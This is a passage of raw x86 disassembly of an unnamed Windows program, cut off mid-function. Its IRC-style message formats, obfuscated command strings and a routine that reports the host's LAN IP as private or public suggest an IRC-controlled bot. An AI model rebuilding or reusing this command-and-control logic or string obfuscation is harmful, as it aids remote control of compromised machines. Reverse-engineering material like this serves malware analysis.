		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4119E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A60	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B20	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411B20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411BE0	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BF8:				; CODE XREF: sub_411BE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C10	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C10
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411C36
		lea	edi, [esi+11h]
		jmp	short loc_411C38
; ---------------------------------------------------------------------------


loc_411C36:				; CODE XREF: sub_411C10+1Fj
		xor	edi, edi


loc_411C38:				; CODE XREF: sub_411C10+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_411C10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8C
		lea	ebx, [esi+11h]
		jmp	short loc_411C8E
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: ___:00411C85j
		xor	ebx, ebx


loc_411C8E:				; CODE XREF: ___:00411C8Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CEB
		lea	ebx, [esi+11h]
		jmp	short loc_411CED
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: ___:00411CE4j
		xor	ebx, ebx


loc_411CED:				; CODE XREF: ___:00411CE9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D40
		lea	ebx, [esi+11h]
		jmp	short loc_411D42
; ---------------------------------------------------------------------------


loc_411D40:				; CODE XREF: ___:00411D39j
		xor	ebx, ebx


loc_411D42:				; CODE XREF: ___:00411D3Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D95
		lea	ebx, [esi+11h]
		jmp	short loc_411D97
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: ___:00411D8Ej
		xor	ebx, ebx


loc_411D97:				; CODE XREF: ___:00411D93j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE8
		lea	ebx, [esi+11h]
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: ___:00411DE1j
		xor	ebx, ebx


loc_411DEA:				; CODE XREF: ___:00411DE6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E41
		lea	ebx, [esi+11h]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411E41:				; CODE XREF: ___:00411E3Aj
		xor	ebx, ebx


loc_411E43:				; CODE XREF: ___:00411E3Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9F
		lea	ebx, [esi+11h]
		jmp	short loc_411EA1
; ---------------------------------------------------------------------------


loc_411E9F:				; CODE XREF: ___:00411E98j
		xor	ebx, ebx


loc_411EA1:				; CODE XREF: ___:00411E9Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EFA
		lea	ebx, [esi+11h]
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: ___:00411EF3j
		xor	ebx, ebx


loc_411EFC:				; CODE XREF: ___:00411EF8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F55
		lea	ebx, [esi+11h]
		jmp	short loc_411F57
; ---------------------------------------------------------------------------


loc_411F55:				; CODE XREF: ___:00411F4Ej
		xor	ebx, ebx


loc_411F57:				; CODE XREF: ___:00411F53j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4120B0	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4120B0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4121B2
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_4120B0+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412229
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_412229:				; CODE XREF: sub_4120B0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122E4
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412602
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4122E4:				; CODE XREF: sub_4120B0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41238D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_4120B0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FB
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_4490F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4123FB:				; CODE XREF: sub_4120B0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41245D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41245D:				; CODE XREF: sub_4120B0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124FD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_4120B0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412602
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412602
; ---------------------------------------------------------------------------


loc_4125D9:				; CODE XREF: sub_4120B0+3Aj
					; sub_4120B0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412602:				; CODE XREF: sub_4120B0+FDj
					; sub_4120B0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4120B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412780	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F30
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_41288B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412890
; ---------------------------------------------------------------------------


loc_41288B:				; CODE XREF: sub_412780+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412890:				; CODE XREF: sub_412780+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412940	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41299E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412940+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129D0	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_4129D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A40	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412A40
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A77
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A77:				; CODE XREF: sub_412A40+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A98
		mov	eax, dword_4490C0
		push	eax
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_412A40+4Ej
		mov	ecx, dword_4490C8
		push	ecx


loc_412A9F:				; CODE XREF: sub_412A40+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B70	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
